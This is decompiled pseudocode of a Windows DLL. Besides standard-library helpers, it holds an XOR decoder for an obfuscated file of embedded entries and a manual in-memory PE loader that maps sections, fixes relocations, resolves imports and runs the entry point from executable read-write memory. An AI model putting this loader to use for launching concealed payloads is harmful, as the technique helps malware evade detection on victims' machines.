//----- (10001B70) --------------------------------------------------------
_DWORD *__thiscall sub_10001B70(_DWORD *this, _DWORD *Src)
{
  _DWORD *v3; // edi
  bool v4; // cf
  unsigned int v5; // eax
  _DWORD *result; // eax
  int v7; // ebx
  size_t v8; // eax
  void *v9; // eax
  _DWORD *v10; // ecx
  unsigned int Srca; // [esp+14h] [ebp+8h]

  v3 = Src;
  *this = 0;
  this[4] = 0;
  this[5] = 0;
  v4 = Src[5] < 8u;
  v5 = Src[4];
  Srca = v5;
  if ( !v4 )
    v3 = (_DWORD *)*v3;
  if ( v5 < 8 )
  {
    *(_OWORD *)this = *(_OWORD *)v3;
    this[4] = v5;
    result = this;
    this[5] = 7;
    return result;
  }
  v7 = v5 | 7;
  if ( (v5 | 7) > 0x7FFFFFFE )
    v7 = 2147483646;
  if ( (unsigned int)(v7 + 1) > 0x7FFFFFFF )
    goto LABEL_16;
  v8 = 2 * (v7 + 1);
  if ( v8 >= 0x1000 )
  {
    if ( v8 + 35 > v8 )
    {
      v9 = operator new(v8 + 35);
      if ( !v9 )
        _invalid_parameter_noinfo_noreturn();
      v10 = (_DWORD *)(((unsigned int)v9 + 35) & 0xFFFFFFE0);
      *(v10 - 1) = v9;
      goto LABEL_15;
    }
LABEL_16:
    sub_100010B0();
  }
  if ( v8 )
    v10 = operator new(v8);
  else
    v10 = 0;
LABEL_15:
  *this = v10;
  memmove(v10, v3, 2 * Srca + 2);
  this[4] = Srca;
  result = this;
  this[5] = v7;
  return result;
}

//----- (10001C50) --------------------------------------------------------
void **__thiscall sub_10001C50(void **this, void *Src, unsigned int a3)
{
  unsigned int v4; // ecx
  void **v5; // ebx
  unsigned int v7; // esi
  size_t v8; // eax
  unsigned int v9; // edx
  void *v10; // eax
  _DWORD *v11; // ebx
  void *v12; // eax
  unsigned int v13; // [esp+Ch] [ebp-4h]

  v4 = (unsigned int)this[5];
  v13 = v4;
  if ( a3 > v4 )
  {
    if ( a3 > 0x7FFFFFFE )
      sub_10001150();
    v7 = a3 | 7;
    if ( (a3 | 7) <= 0x7FFFFFFE )
    {
      v9 = v4 >> 1;
      if ( v4 <= 2147483646 - (v4 >> 1) )
      {
        if ( v7 < v9 + v4 )
          v7 = v9 + v4;
        if ( v7 + 1 > 0x7FFFFFFF )
          goto LABEL_26;
        v8 = 2 * (v7 + 1);
        if ( v8 < 0x1000 )
        {
          if ( v8 )
            v11 = operator new(v8);
          else
            v11 = 0;
          goto LABEL_20;
        }
      }
      else
      {
        v7 = 2147483646;
        v8 = -2;
      }
    }
    else
    {
      v7 = 2147483646;
      v8 = -2;
    }
    if ( v8 + 35 > v8 )
    {
      v10 = operator new(v8 + 35);
      if ( !v10 )
        goto LABEL_28;
      v11 = (_DWORD *)(((unsigned int)v10 + 35) & 0xFFFFFFE0);
      *(v11 - 1) = v10;
LABEL_20:
      this[5] = (void *)v7;
      this[4] = (void *)a3;
      memmove(v11, Src, 2 * a3);
      *((_WORD *)v11 + a3) = 0;
      if ( v13 < 8 )
      {
LABEL_25:
        *this = v11;
        return this;
      }
      v12 = *this;
      if ( 2 * v13 + 2 < 0x1000 )
      {
LABEL_24:
        sub_10002FA4(v12);
        goto LABEL_25;
      }
      if ( (unsigned int)v12 - *((_DWORD *)v12 - 1) - 4 <= 0x1F )
      {
        v12 = (void *)*((_DWORD *)v12 - 1);
        goto LABEL_24;
      }
LABEL_28:
      _invalid_parameter_noinfo_noreturn();
    }
LABEL_26:
    sub_100010B0();
  }
  v5 = this;
  if ( v4 >= 8 )
    v5 = (void **)*this;
  this[4] = (void *)a3;
  memmove(v5, Src, 2 * a3);
  *((_WORD *)v5 + a3) = 0;
  return this;
}

//----- (10001DA0) --------------------------------------------------------
size_t *__thiscall sub_10001DA0(size_t *this, void *Src, size_t Size)
{
  unsigned int v5; // ecx
  size_t *v6; // edi
  size_t v8; // edi
  int v9; // edx
  size_t v10; // eax
  void *v11; // eax
  void *v12; // ecx
  _DWORD *v13; // eax
  void *v14; // eax
  unsigned int v15; // [esp+Ch] [ebp-4h]
  size_t Sizea; // [esp+1Ch] [ebp+Ch]

  v5 = this[5];
  v15 = v5;
  if ( Size > v5 )
  {
    if ( Size > 0x7FFFFFFF )
      sub_10001150();
    v8 = Size | 0xF;
    if ( (Size | 0xF) > 0x7FFFFFFF || (v9 = v5 >> 1, v5 > 0x7FFFFFFF - (v5 >> 1)) )
    {
      v8 = 0x7FFFFFFF;
      v10 = -2147483613;
    }
    else
    {
      if ( v8 < v9 + v5 )
        v8 = v9 + v5;
      if ( v8 + 1 < 0x1000 )
      {
        if ( v8 == -1 )
          v13 = 0;
        else
          v13 = operator new(v8 + 1);
        goto LABEL_19;
      }
      v10 = v8 + 36;
      if ( v8 + 36 <= v8 + 1 )
        sub_100010B0();
    }
    v11 = operator new(v10);
    v12 = v11;
    if ( !v11 )
      goto LABEL_25;
    v13 = (_DWORD *)(((unsigned int)v11 + 35) & 0xFFFFFFE0);
    *(v13 - 1) = v12;
LABEL_19:
    Sizea = (size_t)v13;
    this[4] = Size;
    this[5] = v8;
    memmove(v13, Src, Size);
    *(_BYTE *)(Sizea + Size) = 0;
    if ( v15 < 0x10 )
    {
LABEL_24:
      *this = Sizea;
      return this;
    }
    v14 = (void *)*this;
    if ( v15 + 1 < 0x1000 )
    {
LABEL_23:
      sub_10002FA4(v14);
      goto LABEL_24;
    }
    if ( (unsigned int)v14 - *((_DWORD *)v14 - 1) - 4 <= 0x1F )
    {
      v14 = (void *)*((_DWORD *)v14 - 1);
      goto LABEL_23;
    }
LABEL_25:
    _invalid_parameter_noinfo_noreturn();
  }
  v6 = this;
  if ( v5 >= 0x10 )
    v6 = (size_t *)*this;
  this[4] = Size;
  memmove(v6, Src, Size);
  *((_BYTE *)v6 + Size) = 0;
  return this;
}

//----- (10001ED0) --------------------------------------------------------
char __fastcall sub_10001ED0(char *a1, int a2)
{
  char *v3; // esi
  char *v4; // edx
  int v5; // ecx
  int v6; // edx

  v3 = (char *)a2;
  if ( *(_DWORD *)(a2 + 20) >= 8u )
    v3 = *(char **)a2;
  v4 = a1;
  if ( *((_DWORD *)a1 + 5) >= 8u )
    v4 = *(char **)a1;
  v5 = *((_DWORD *)a1 + 4);
  if ( v5 == *(_DWORD *)(a2 + 16) )
  {
    if ( !v5 )
      return 1;
    v6 = v4 - v3;
    while ( *(_WORD *)&v3[v6] == *(_WORD *)v3 )
    {
      v3 += 2;
      if ( !--v5 )
        return 1;
    }
  }
  return 0;
}

//----- (10001F10) --------------------------------------------------------
int __fastcall sub_10001F10(unsigned __int16 *a1, int a2, int a3, int a4, int a5)
{
  const wchar_t *v7; // ecx
  wchar_t *v8; // edx
  wchar_t v9; // ax
  int v10; // ecx
  unsigned __int16 *i; // ecx
  int v12; // eax
  int v13; // ecx
  unsigned __int16 *v14; // edx
  int v15; // ecx
  const wchar_t *v16; // eax
  char v18[260]; // [esp+10h] [ebp-108h] BYREF

  if ( !a5 || !a2 )
    return -1;
  memset(v18, 0, 0x100u);
  v7 = L"\\/";
  v8 = &asc_10012DA8[a5];
  if ( v8 == L"\\/" )
  {
LABEL_6:
    v10 = -1;
    if ( a2 )
      v10 = a2 - 1;
    for ( i = &a1[v10]; ; --i )
    {
      v12 = *i;
      if ( (unsigned __int16)v12 < 0x100u )
      {
        if ( v18[v12] )
          break;
      }
      if ( i == a1 )
        return -1;
    }
    return i - a1;
  }
  else
  {
    while ( 1 )
    {
      v9 = *v7;
      if ( *v7 >= 0x100u )
        break;
      ++v7;
      v18[(unsigned __int8)v9] = 1;
      if ( v7 == v8 )
        goto LABEL_6;
    }
    v13 = -1;
    if ( a2 )
      v13 = a2 - 1;
    v14 = &a1[v13];
    while ( 2 )
    {
      v15 = a5;
      v16 = L"\\/";
      do
      {
        if ( *v16 == *v14 )
          return v14 - a1;
        ++v16;
        --v15;
      }
      while ( v15 );
      if ( v14 != a1 )
      {
        --v14;
        continue;
      }
      break;
    }
    return -1;
  }
}
// 10001FD9: conditional instruction was optimized away because %arg_8.4!=0
// 10012DA8: using guessed type wchar_t asc_10012DA8[3];
// 10001F10: using guessed type char var_108[260];

//----- (10002060) --------------------------------------------------------
void **__thiscall sub_10002060(void **Src, size_t Size, int a3, void *Srca, int a5)
{
  void *v6; // esi
  size_t v7; // eax
  unsigned int v8; // esi
  unsigned int v9; // edi
  size_t v10; // eax
  void *v11; // eax
  _DWORD *v12; // esi
  size_t v14; // edi
  void *v15; // edi
  void **result; // eax
  size_t v17; // [esp-4h] [ebp-18h]
  void *v18; // [esp+Ch] [ebp-8h]
  _WORD *v19; // [esp+Ch] [ebp-8h]
  unsigned int v20; // [esp+10h] [ebp-4h]
  size_t Sizea; // [esp+1Ch] [ebp+8h]
  int Sizeb; // [esp+1Ch] [ebp+8h]
  char *v23; // [esp+28h] [ebp+14h]

  v6 = Src[4];
  v18 = v6;
  if ( 2147483646 - (int)v6 < Size )
    sub_10001150();
  v7 = (size_t)v6 + Size;
  v8 = (unsigned int)Src[5];
  Sizea = v7;
  v9 = v7 | 7;
  v20 = v8;
  if ( (v7 | 7) <= 0x7FFFFFFE )
  {
    if ( v8 <= 2147483646 - (v8 >> 1) )
    {
      if ( v9 < v8 + (v8 >> 1) )
        v9 = v8 + (v8 >> 1);
      if ( v9 + 1 > 0x7FFFFFFF )
LABEL_22:
        sub_100010B0();
      v10 = 2 * (v9 + 1);
      if ( v10 < 0x1000 )
      {
        if ( v10 )
          v12 = operator new(v10);
        else
          v12 = 0;
        goto LABEL_16;
      }
    }
    else
    {
      v9 = 2147483646;
      v10 = -2;
    }
  }
  else
  {
    v9 = 2147483646;
    v10 = -2;
  }
  if ( v10 + 35 <= v10 )
    goto LABEL_22;
  v11 = operator new(v10 + 35);
  if ( !v11 )
    goto LABEL_24;
  v12 = (_DWORD *)(((unsigned int)v11 + 35) & 0xFFFFFFE0);
  *(v12 - 1) = v11;
LABEL_16:
  Src[4] = (void *)Sizea;
  Src[5] = (void *)v9;
  v17 = 2 * (_DWORD)v18;
  v14 = 2 * a5;
  Sizeb = 2 * a5;
  v23 = (char *)v12 + 2 * (_DWORD)v18;
  v19 = (_WORD *)v12 + (_DWORD)v18 + a5;
  if ( v20 >= 8 )
  {
    v15 = *Src;
    memmove(v12, *Src, v17);
    memmove(v23, Srca, Sizeb);
    *v19 = 0;
    if ( 2 * v20 + 2 < 0x1000 )
    {
LABEL_20:
      sub_10002FA4(v15);
      *Src = v12;
      return Src;
    }
    if ( (unsigned int)v15 - *((_DWORD *)v15 - 1) - 4 <= 0x1F )
    {
      v15 = (void *)*((_DWORD *)v15 - 1);
      goto LABEL_20;
    }
LABEL_24:
    _invalid_parameter_noinfo_noreturn();
  }
  memmove(v12, Src, v17);
  memmove(v23, Srca, v14);
  *v19 = 0;
  result = Src;
  *Src = v12;
  return result;
}

//----- (100021E0) --------------------------------------------------------
char __fastcall sub_100021E0(int a1, int a2)
{
  char result; // al
  int i; // ebx
  _BYTE *v4; // edi
  unsigned int j; // ecx
  _BYTE *v6; // edx
  int v7; // esi
  char v8; // cl
  int v9; // [esp+4h] [ebp-8h]

  result = a2;
  v9 = a1;
  for ( i = 0; i < a2; *v4 = result )
  {
    result = *(_BYTE *)(a1 + i);
    v4 = (_BYTE *)(a1 + i);
    if ( (i & 1) != 0 )
    {
      v6 = &unk_10012DF1;
      v7 = 2;
      do
      {
        v8 = v6[2];
        v6 -= 6;
        result ^= v6[3] ^ v6[4] ^ v6[5] ^ v6[6] ^ v6[7] ^ v8;
        --v7;
      }
      while ( v7 );
    }
    else
    {
      for ( j = 0; j < 0xC; ++j )
        result ^= byte_10012DE8[j];
    }
    a1 = v9;
    ++i;
  }
  return result;
}

//----- (10002250) --------------------------------------------------------
char __thiscall sub_10002250(int this, LPCWSTR lpFileName)
{
  char v3; // bl
  HANDLE FileW; // eax
  signed int FileSize; // eax
  char *v6; // edi
  int v7; // esi
  _DWORD *v8; // ebx
  size_t v9; // edi
  void *v10; // esi
  char *v11; // edx
  size_t v12; // ecx
  int v13; // eax
  void *v14; // eax
  void *v15; // ecx
  char *v16; // eax
  _DWORD **v17; // ecx
  _DWORD *i; // eax
  bool v19; // zf
  size_t v21; // [esp-20h] [ebp-38h]
  DWORD NumberOfBytesRead; // [esp+Ch] [ebp-Ch] BYREF
  int v24; // [esp+10h] [ebp-8h]
  char *v25; // [esp+14h] [ebp-4h]
  LPCWSTR lpFileNamea; // [esp+20h] [ebp+8h]
  LPCWSTR lpFileNamec; // [esp+20h] [ebp+8h]
  LPCWSTR lpFileNameb; // [esp+20h] [ebp+8h]

  v3 = 0;
  FileW = CreateFileW(lpFileName, 0x80000000, 1u, 0, 3u, 0x80u, 0);
  if ( FileW == (HANDLE)-1 )
    return 0;
  *(_DWORD *)(this + 4) = FileW;
  FileSize = GetFileSize(FileW, 0);
  lpFileNamea = (LPCWSTR)FileSize;
  if ( FileSize <= 10 )
    return 0;
  v6 = (char *)malloc(FileSize);
  v25 = v6;
  if ( v6 )
  {
    NumberOfBytesRead = 0;
    if ( ReadFile(*(HANDLE *)(this + 4), v6, (DWORD)lpFileNamea, &NumberOfBytesRead, 0) )
    {
      if ( *v6 == 1 )
        sub_100021E0((int)(v6 + 1), (int)lpFileNamea - 1);
      v7 = 3;
      v24 = *(unsigned __int16 *)(v6 + 1);
      if ( v24 )
      {
        do
        {
          v8 = operator new(0x14u);
          *v8 = 0;
          v8[1] = 0;
          v8[2] = 0;
          v8[3] = 0;
          v8[4] = 0;
          v9 = *(unsigned __int16 *)&v6[v7];
          lpFileNamec = (LPCWSTR)(v7 + 2);
          v10 = (void *)unknown_libname_3(v9 + 1);
          memmove(v10, &v25[(_DWORD)lpFileNamec], v9);
          *((_BYTE *)v10 + v9) = 0;
          v11 = (char *)lpFileNamec + v9;
          v6 = v25;
          v12 = *(_DWORD *)&v25[(_DWORD)v11 + 4];
          v13 = *(_DWORD *)&v25[(_DWORD)v11];
          lpFileNameb = (LPCWSTR)(v11 + 8);
          v8[1] = v10;
          v8[3] = v13;
          v8[4] = v12;
          v14 = malloc(v12);
          v21 = v8[4];
          v15 = v14;
          v16 = &v6[v8[3]];
          v8[2] = v15;
          memmove(v15, v16, v21);
          v17 = *(_DWORD ***)(this + 8);
          if ( v17 )
          {
            for ( i = *v17; i; i = (_DWORD *)*i )
              v17 = (_DWORD **)i;
            *v17 = v8;
          }
          else
          {
            *(_DWORD *)(this + 8) = v8;
          }
          v19 = v24-- == 1;
          v7 = (int)lpFileNameb;
        }
        while ( !v19 );
      }
      v3 = 1;
    }
    j___free_base(v6);
  }
  return v3;
}
// 10002FB2: using guessed type int __cdecl unknown_libname_3(_DWORD);

//----- (100023E0) --------------------------------------------------------
int __cdecl sub_100023E0(_OWORD **a1)
{
  _OWORD *v1; // ecx
  _DWORD *v2; // edi
  _DWORD *v3; // esi
  int v4; // eax
  _OWORD *v5; // eax
  int v6; // ecx
  int v7; // eax
  int v8; // eax
  SIZE_T v9; // eax
  int v11; // edx
  int v12; // ecx
  int v13; // eax
  _DWORD *v14; // [esp+10h] [ebp-1Ch]
  LPVOID v15; // [esp+10h] [ebp-1Ch]

  v2 = v1;
  v14 = v1;
  v3 = a1;
  if ( (unsigned int)a1[1] >= 0x40 )
  {
    v5 = *a1;
    *v1 = **a1;
    v1[1] = v5[1];
    v1[2] = v5[2];
    v1[3] = v5[3];
    v4 = 1;
  }
  else
  {
    v4 = 0;
  }
  if ( v4 )
  {
    if ( *(_WORD *)v1 != 23117 )
      return 2;
    v6 = *((_DWORD *)v1 + 15);
    if ( !v6 )
      return 2;
    if ( v6 + 248 <= (unsigned int)a1[1] )
    {
      qmemcpy(v2 + 16, (char *)*a1 + v6, 0xF8u);
      v7 = 1;
      v2 = v14;
      v3 = a1;
    }
    else
    {
      v7 = 0;
    }
    if ( v7 )
    {
      if ( v2[16] == 17744 && *((_WORD *)v2 + 44) == 267 )
      {
        v8 = *((unsigned __int16 *)v2 + 35);
        if ( (_WORD)v8 )
        {
          v9 = 40 * v8;
          v2[80] = v9;
          v15 = VirtualAlloc(0, v9, 0x3000u, 0x40u);
          v2[78] = v15;
          if ( !v15 )
            return 3;
          v11 = *((unsigned __int16 *)v2 + 42) + v2[15] + 24;
          v2[79] = v11;
          v12 = v2[80];
          if ( v12 )
          {
            if ( (unsigned int)(v11 + v12) > v3[1] )
            {
              v13 = 0;
              return !v13;
            }
            memmove(v15, (const void *)(v11 + *v3), v2[80]);
          }
          v13 = 1;
          return !v13;
        }
      }
      return 2;
    }
  }
  return 1;
}
// 10002413: variable 'v1' is possibly undefined

//----- (100025E0) --------------------------------------------------------
int __thiscall sub_100025E0(int this)
{
  unsigned int v2; // esi
  SIZE_T v3; // ecx
  int v4; // ebx
  unsigned int *v5; // eax
  int v6; // edi
  unsigned int v7; // edx
  unsigned int v8; // ecx
  char *v9; // eax
  int v10; // ecx
  char *v11; // edx
  int result; // eax
  int v13; // [esp+Ch] [ebp-8h]
  SIZE_T dwSize; // [esp+10h] [ebp-4h]
  SIZE_T dwSizea; // [esp+10h] [ebp-4h]

  v2 = 0;
  v3 = 0;
  v13 = this;
  dwSize = 0;
  v4 = *(unsigned __int16 *)(this + 70);
  if ( *(_WORD *)(this + 70) )
  {
    v5 = (unsigned int *)(*(_DWORD *)(this + 312) + 12);
    do
    {
      v6 = *(v5 - 1);
      if ( v6 )
      {
        v7 = *v5;
        v8 = *v5;
        if ( *v5 >= v2 )
          v8 = v2;
        v2 = v8;
        v3 = v6 + v7;
        if ( v6 + v7 <= dwSize )
          v3 = dwSize;
        else
          dwSize = v6 + v7;
      }
      v5 += 10;
      --v4;
    }
    while ( v4 );
    this = v13;
  }
  dwSizea = v3 - v2;
  v9 = (char *)VirtualAlloc((LPVOID)(v2 + *(_DWORD *)(this + 116)), v3 - v2, 0x3000u, 0x40u);
  v10 = *(_DWORD *)(this + 116);
  v11 = v9;
  *(_DWORD *)(this + 328) = v9;
  *(_DWORD *)(this + 324) = v10;
  if ( !v9 )
  {
    if ( (*(_BYTE *)(this + 86) & 1) != 0 )
      return 4;
    v11 = (char *)VirtualAlloc(0, dwSizea, 0x3000u, 0x40u);
    *(_DWORD *)(this + 328) = v11;
    *(_DWORD *)(this + 324) = &v11[-v2];
  }
  result = 0;
  if ( !v11 )
    return 3;
  return result;
}

//----- (100026B0) --------------------------------------------------------
int __cdecl sub_100026B0(int a1)
{
  int v1; // ecx
  int v2; // ebx
  size_t v3; // eax
  int v4; // eax
  unsigned int v5; // edi
  _DWORD *v6; // esi
  size_t v7; // ecx
  void *v8; // edx
  int v9; // eax
  int v11; // [esp+10h] [ebp-1Ch]

  v2 = v1;
  v11 = v1;
  v3 = *(_DWORD *)(v1 + 316) + *(_DWORD *)(v1 + 320);
  if ( v3 )
  {
    if ( v3 > *(_DWORD *)(a1 + 4) )
    {
      v4 = 0;
      goto LABEL_6;
    }
    memmove(*(void **)(v1 + 324), *(const void **)a1, v3);
  }
  v4 = 1;
LABEL_6:
  if ( !v4 )
    return 1;
  v5 = 0;
  v6 = *(_DWORD **)(v2 + 312);
  while ( v5 < *(unsigned __int16 *)(v2 + 70) )
  {
    v7 = v6[2];
    if ( v7 >= v6[4] )
      v7 = v6[4];
    if ( v7 )
    {
      v8 = (void *)(*(_DWORD *)(v2 + 324) + v6[3]);
      v2 = v11;
      if ( v7 + v6[5] <= *(_DWORD *)(a1 + 4) )
      {
        memmove(v8, (const void *)(v6[5] + *(_DWORD *)a1), v7);
        v9 = 1;
      }
      else
      {
        v9 = 0;
      }
      if ( !v9 )
        return 1;
    }
    ++v5;
    v6 += 10;
  }
  return 0;
}
// 100026E3: variable 'v1' is possibly undefined

//----- (100027E0) --------------------------------------------------------
int __thiscall sub_100027E0(_DWORD *this)
{
  int v2; // eax
  int v3; // esi
  int v4; // ecx
  int v5; // edx
  _DWORD *v6; // edi
  unsigned int v7; // eax
  _WORD *v8; // edx
  unsigned int v9; // ebx
  unsigned int i; // esi
  int v11; // ecx
  _DWORD *v12; // ecx
  unsigned int v14; // [esp+10h] [ebp-34h]
  int v15; // [esp+24h] [ebp-20h]

  v2 = this[81];
  v3 = this[29];
  if ( v2 == v3 )
    return 0;
  v4 = this[56];
  if ( v4 )
  {
    v5 = this[57];
    if ( v5 )
    {
      v15 = v2 - v3;
      v6 = (_DWORD *)(v4 + v2);
      v7 = v4 + v2 + v5 - 8;
      v14 = v7;
LABEL_5:
      if ( (unsigned int)v6 < v7 )
      {
        v8 = v6 + 2;
        v9 = (unsigned int)(v6[1] - 8) >> 1;
        for ( i = 0; ; ++i )
        {
          if ( i >= v9 )
          {
            v6 = (_DWORD *)((char *)v6 + v6[1]);
            v7 = v14;
            goto LABEL_5;
          }
          v11 = (unsigned __int16)*v8 >> 12;
          if ( v11 )
          {
            if ( v11 != 3 )
              return 5;
            v12 = (_DWORD *)(this[81] + (*v8 & 0xFFF) + *v6);
            *v12 += v15;
          }
          ++v8;
        }
      }
      return 0;
    }
  }
  return 4;
}

//----- (10002920) --------------------------------------------------------
int __thiscall sub_10002920(int this)
{
  int v2; // eax
  int v3; // ecx
  _DWORD *v4; // edx
  HMODULE LibraryA; // eax
  unsigned int v6; // ecx
  HMODULE v7; // ebx
  int v8; // eax
  _DWORD *v9; // eax
  _DWORD *v10; // esi
  int v11; // ecx
  int v12; // eax
  _DWORD *v13; // edx
  int *v14; // esi
  int *v15; // ebx
  int v16; // eax
  bool v17; // sf
  FARPROC ProcAddress; // eax
  HMODULE hModule; // [esp+Ch] [ebp-8h]
  _DWORD *v21; // [esp+10h] [ebp-4h]

  v2 = *(_DWORD *)(this + 192);
  if ( !v2 )
    return 0;
  if ( !*(_DWORD *)(this + 196) )
    return 0;
  v3 = *(_DWORD *)(this + 324);
  v4 = (_DWORD *)(v3 + v2);
  v21 = (_DWORD *)(v3 + v2);
  if ( !*(_DWORD *)(v3 + v2 + 12) )
    return 0;
  while ( 1 )
  {
    LibraryA = LoadLibraryA((LPCSTR)(v3 + v4[3]));
    v6 = *(_DWORD *)(this + 340);
    v7 = LibraryA;
    hModule = LibraryA;
    if ( *(_DWORD *)(this + 336) >= v6 )
    {
      v8 = 2 * v6;
      if ( !v6 )
        v8 = 16;
      *(_DWORD *)(this + 340) = v8;
      v9 = VirtualAlloc(0, 4 * v8, 0x3000u, 0x40u);
      v10 = v9;
      if ( !v9 )
        return 3;
      v11 = *(_DWORD *)(this + 336);
      if ( v11 )
        memmove(v9, *(const void **)(this + 332), 4 * v11);
      j___free_base(*(void **)(this + 332));
      v12 = *(_DWORD *)(this + 336);
      *(_DWORD *)(this + 332) = v10;
      v10[v12] = v7;
      ++*(_DWORD *)(this + 336);
    }
    v13 = v21;
    v3 = *(_DWORD *)(this + 324);
    v14 = (int *)(v3 + v21[4]);
    v15 = v14;
    if ( v21[1] )
    {
      if ( !*v21 )
        return 8;
      v15 = (int *)(*v21 + v3);
    }
    v16 = *v15;
    v17 = *v15 < 0;
    if ( *v15 )
      break;
LABEL_21:
    v4 = v13 + 5;
    v21 = v4;
    if ( !v4[3] )
      return 0;
  }
  while ( 1 )
  {
    if ( v17 )
      v16 = (unsigned __int16)v16;
    else
      v16 += *(_DWORD *)(this + 324) + 2;
    ProcAddress = GetProcAddress(hModule, (LPCSTR)v16);
    *v14 = (int)ProcAddress;
    if ( !ProcAddress )
      return 6;
    v16 = v15[1];
    ++v15;
    ++v14;
    v17 = v16 < 0;
    if ( !v16 )
    {
      v3 = *(_DWORD *)(this + 324);
      v13 = v21;
      goto LABEL_21;
    }
  }
}

//----- (10002A90) --------------------------------------------------------
int __thiscall sub_10002A90(int this)
{
  int v2; // edi
  unsigned int *i; // esi
  unsigned int v4; // eax
  DWORD flOldProtect; // [esp+Ch] [ebp-4h] BYREF

  v2 = 0;
  if ( !*(_WORD *)(this + 70) )
    return 0;
  for ( i = (unsigned int *)(*(_DWORD *)(this + 312) + 36); ; i += 10 )
  {
    v4 = *i;
    if ( (*i & 0x20) != 0 )
    {
      v4 |= 0x60000000u;
      *i = v4;
    }
    switch ( v4 >> 29 )
    {
      case 0u:
      case 2u:
        flOldProtect = 2;
        break;
      case 1u:
        flOldProtect = 16;
        break;
      case 3u:
        flOldProtect = 32;
        break;
      case 4u:
      case 6u:
        flOldProtect = 4;
        break;
      default:
        flOldProtect = 64;
        break;
    }
    if ( !VirtualProtect((LPVOID)(*(_DWORD *)(this + 324) + *(i - 6)), *(i - 7), 0x40u, &flOldProtect) )
      break;
    if ( ++v2 >= (unsigned int)*(unsigned __int16 *)(this + 70) )
      return 0;
  }
  return 9;
}

//----- (10002B60) --------------------------------------------------------
int __cdecl sub_10002B60(int a1)
{
  _DWORD *v1; // ecx
  int v2; // eax
  int v3; // edx
  int (__stdcall *v4)(int, int, int); // eax

  v2 = v1[26];
  if ( v2 && (v3 = v1[81], v4 = (int (__stdcall *)(int, int, int))(v3 + v2), v1[86] = v4, !v4(v3, 1, a1)) )
    return 10;
  else
    return 0;
}
// 10002B93: variable 'v1' is possibly undefined

//----- (10002C00) --------------------------------------------------------
int __usercall sub_10002C00@<eax>(_OWORD **a1@<edx>, int a2, int a3, int a4)
{
  int v5; // edi
  LPVOID v7[83]; // [esp+1Ch] [ebp-178h] BYREF
  LPVOID v8; // [esp+168h] [ebp-2Ch]
  int v9; // [esp+16Ch] [ebp-28h]
  int v10; // [esp+170h] [ebp-24h]
  int v11; // [esp+174h] [ebp-20h]
  CPPEH_RECORD ms_exc; // [esp+17Ch] [ebp-18h] BYREF

  v7[78] = 0;
  v8 = 0;
  v10 = 0;
  v9 = 0;
  v11 = 0;
  ms_exc.registration.TryLevel = 1;
  v5 = sub_100023E0(a1);
  if ( v5
    || (v5 = sub_100025E0((int)v7)) != 0
    || (ms_exc.registration.TryLevel = 2, (v5 = sub_100026B0((int)a1)) != 0)
    || (v5 = sub_100027E0(v7)) != 0
    || (v5 = sub_10002920((int)v7)) != 0
    || (v5 = sub_10002A90((int)v7)) != 0
    || (v5 = sub_10002B60(a4)) != 0 )
  {
    _local_unwind4(&__security_cookie, &ms_exc.registration, -2);
    return v5;
  }
  else
  {
    if ( a3 )
    {
      *(_DWORD *)a3 = 32;
      *(_DWORD *)(a3 + 4) = 0;
      *(LPVOID *)(a3 + 8) = v7[81];
      *(LPVOID *)(a3 + 12) = v7[82];
      *(_DWORD *)(a3 + 16) = v11;
      *(LPVOID *)(a3 + 20) = v7[46];
      *(_DWORD *)(a3 + 24) = v8;
      *(_DWORD *)(a3 + 28) = v9;
      ms_exc.registration.TryLevel = 2;
    }
    _local_unwind4(&__security_cookie, &ms_exc.registration, -2);
    return 0;
  }
}
// 10005500: using guessed type _DWORD __cdecl _local_unwind4(_DWORD, _DWORD, _DWORD);

//----- (10002E77) --------------------------------------------------------
_DWORD *__thiscall sub_10002E77(_DWORD *this)
{
  _DWORD *result; // eax

  this[1] = 0;
  result = this;
  this[2] = 0;
  this[1] = "bad allocation";
  *this = &std::bad_alloc::`vftable';
  return result;
}
// 1000E180: using guessed type void *std::bad_alloc::`vftable';

//----- (10002EC4) --------------------------------------------------------
char *__thiscall sub_10002EC4(char *this, int a2)
{
  sub_10001000(this, a2);
  *(_DWORD *)this = &std::length_error::`vftable';
  return this;
}
// 1000E1A8: using guessed type void *std::length_error::`vftable';

//----- (10002EDF) --------------------------------------------------------
std::exception *__thiscall sub_10002EDF(std::exception *this, char *a2)
{
  std::exception::exception(this, a2);
  *(_DWORD *)this = &std::length_error::`vftable';
  return this;
}
// 1000E1A8: using guessed type void *std::length_error::`vftable';

//----- (10002EFE) --------------------------------------------------------
char *__thiscall sub_10002EFE(char *this, int a2)
{
  sub_10001000(this, a2);
  *(_DWORD *)this = &std::logic_error::`vftable';
  return this;
}
// 1000E19C: using guessed type void *std::logic_error::`vftable';

//----- (10002F46) --------------------------------------------------------
void __cdecl __noreturn sub_10002F46(char *a1)
{
  char pExceptionObject[12]; // [esp+0h] [ebp-Ch] BYREF

  sub_10002EDF((std::exception *)pExceptionObject, a1);
  _CxxThrowException(pExceptionObject, (_ThrowInfo *)&_TI3_AVlength_error_std__);
}

//----- (10002FA4) --------------------------------------------------------
void __cdecl sub_10002FA4(void *Block)
{
  j_j___free_base(Block);
}

//----- (10002FBB) --------------------------------------------------------
_DWORD *__thiscall sub_10002FBB(_DWORD *Block, char a2)
{
  *Block = &type_info::`vftable';
  if ( (a2 & 1) != 0 )
    sub_10002FA4(Block);
  return Block;
}
// 1000E1B4: using guessed type void *type_info::`vftable';

//----- (10003463) --------------------------------------------------------
void __noreturn sub_10003463()
{
  _DWORD pExceptionObject[3]; // [esp+0h] [ebp-Ch] BYREF

  sub_10002E77(pExceptionObject);
  _CxxThrowException(pExceptionObject, (_ThrowInfo *)&_TI2_AVbad_alloc_std__);
}
// 10003463: using guessed type void __noreturn sub_10003463();
// 10003463: using guessed type _DWORD pExceptionObject[3];

//----- (1000351D) --------------------------------------------------------
void sub_1000351D()
{
  InitializeSListHead(&ListHead);
}

//----- (10003529) --------------------------------------------------------
int sub_10003529()
{
  return __std_type_info_destroy_list(&ListHead);
}

//----- (10003535) --------------------------------------------------------
void *sub_10003535()
{
  return &unk_10015B78;
}

//----- (1000353B) --------------------------------------------------------
void *sub_1000353B()
{
  return &unk_10015B80;
}

//----- (1000362C) --------------------------------------------------------
char sub_1000362C()
{
  __acrt_thread_detach();
  __vcrt_thread_detach();
  return 1;
}

//----- (10003690) --------------------------------------------------------
__vcrt_bool sub_10003690()
{
  __acrt_uninitialize_critical(0);
  return __vcrt_uninitialize_critical();
}

//----- (10003836) --------------------------------------------------------
void *sub_10003836()
{
  return &unk_10016244;
}

//----- (10003957) --------------------------------------------------------
void sub_10003957()
{
  dword_10015BAC = 0;
}
